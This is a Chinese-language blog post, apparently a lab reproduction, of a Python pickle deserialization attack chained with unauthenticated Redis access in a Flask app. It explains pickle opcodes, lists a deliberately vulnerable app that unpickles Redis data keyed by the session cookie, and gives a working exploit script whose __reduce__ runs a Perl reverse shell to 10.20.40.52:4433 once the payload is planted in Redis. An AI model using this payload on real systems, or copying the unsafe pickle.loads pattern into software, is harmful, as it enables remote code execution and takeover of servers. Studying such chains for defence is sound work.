最近看到p神一篇講python反序列化的文章,結合redis未授權訪問組合漏洞,感覺在flask和redis的構架中比較常見,便記錄下來。
p神原文:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
漏洞原理:
python序列化會通過pickle的dumps和loads來進行序列化和反序列化
其中序列化后的值為
對應的格式如下:
c:讀取新的一行作為模塊名module,讀取下一行作為對象名object,然后將module.object壓入到堆棧中。
(:將一個標記對象插入到堆棧中。為了實現我們的目的,該指令會與t搭配使用,以產生一個元組。
t:從堆棧中彈出對象,直到一個“(”被彈出,並創建一個包含彈出對象(除了“(”)的元組對象,並且這些對象的順序必須跟它們壓入堆棧時的順序一致。然后,該元組被壓入到堆棧中。
S:讀取引號中的字符串直到換行符處,然后將它壓入堆棧。
R:將一個元組和一個可調用對象彈出堆棧,然后以該元組作為參數調用該可調用的對象,最后將結果壓入到堆棧中。
.:結束pickle。
漏洞復現:
前提搭建一個web服務器,需要一個flask+redis的web服務。
代碼如下

1 import redis 2 from flask import Flask,request,session 3 import pickle 4 import random 5 app = Flask(__name__) 6 7 class Redis: 8 @staticmethod 9 def connect(): 10 r = redis.StrictRedis(host='localhost', port=6379, db=0) 11 return r 12 13 @staticmethod 14 def set_data(r,key,data,ex=None): 15 r.set(key,pickle.dumps(data),ex) 16 17 @staticmethod 18 def get_data(r,key): 19 data = r.get(key) 20 if data is None: 21 return None 22 return pickle.loads(data) 23 24 def getrand(): 25 str='abcdefghijklnmopqrstuvwxyz1234567890' 26 count = '' 27 for i in range(10): 28 index = random.randint(0,35) 29 count += str[index] 30 return count 31 32 33 @app.route('/',methods=['GET']) 34 def hello_world(): 35 str = request.args.get('str') 36 r = Redis.connect() 37 rand = getrand() 38 Redis.set_data(r,rand,str) 39 return rand+':'+str 40 41 @app.route('/getcookie') 42 def get_cookie(): 43 cookie = request.cookies.get('session') 44 r = Redis.connect() 45 data = Redis.get_data(r,cookie) 46 return 'your data:'+data 47 48 if __name__ == '__main__': 49 app.run()
程序大概過程是訪問 / 目錄會往redis中插入一條str變量,key值是偽隨機生成的
然后訪問/getcookie會訪問cookie中的session的值帶入redis查詢並反序列化
可以構造payload如下
1 #!/usr/bin/env python 2 # 3 import cPickle 4 import os 5 import redis 6 7 class exp(object): 8 def __reduce__(self): 9 s = """perl -e 'use Socket;$i="10.20.40.52";$p=4433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'""" 10 return (os.system, (s,)) 11 12 e = exp() 13 s = cPickle.dumps(e) 14 15 r = redis.Redis(host='127.0.0.1', port=6379, db=0) 16 r.set("e6c36e69a9c", s)
payload會往redis中插入一條e6c36e69a9c的key值
然后在/getcookie中設置cookie訪問,並監聽服務器上的4433端口
get!!!